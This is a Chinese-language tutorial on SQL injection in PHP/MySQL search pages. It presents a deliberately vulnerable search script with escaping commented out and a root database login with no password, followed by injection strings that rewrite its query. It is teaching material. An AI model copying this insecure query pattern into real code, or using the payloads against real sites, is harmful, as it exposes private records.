php SQL Injection with MySQL

2019-04-09 10:13:19刘景俊

语句构造

  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。

一、搜索引擎

  网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。
  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下面是一个标准的搜索引擎:

<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>

<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

$keywords = $_GET['keywords'];
if (!empty($keywords)) {
  //$keywords = addslashes($keywords);
  //$keywords = str_replace("_","_",$keywords);
  //$keywords = str_replace("%","%",$keywords);

  $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);

  echo "<p>SQL Query:$sql<p>";

  if ($tatol <=0){
    echo "The "<b>$keywords</b>" was not found in all the record.<p>n";
  } else {
    while ($article=mysql_fetch_array($result)) {
      echo "<li>".htmlspecialchars($article[title])."<p>n";
    } //while
  }
} else {
  echo "<b>Please enter some keywords.</b><p>n";
}
?>

  一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库中的所有记录都取出来。如果我们在表单提交:

%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#

  SQL语句就被改变成下面的样子了,

SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC

相关文章 大家在看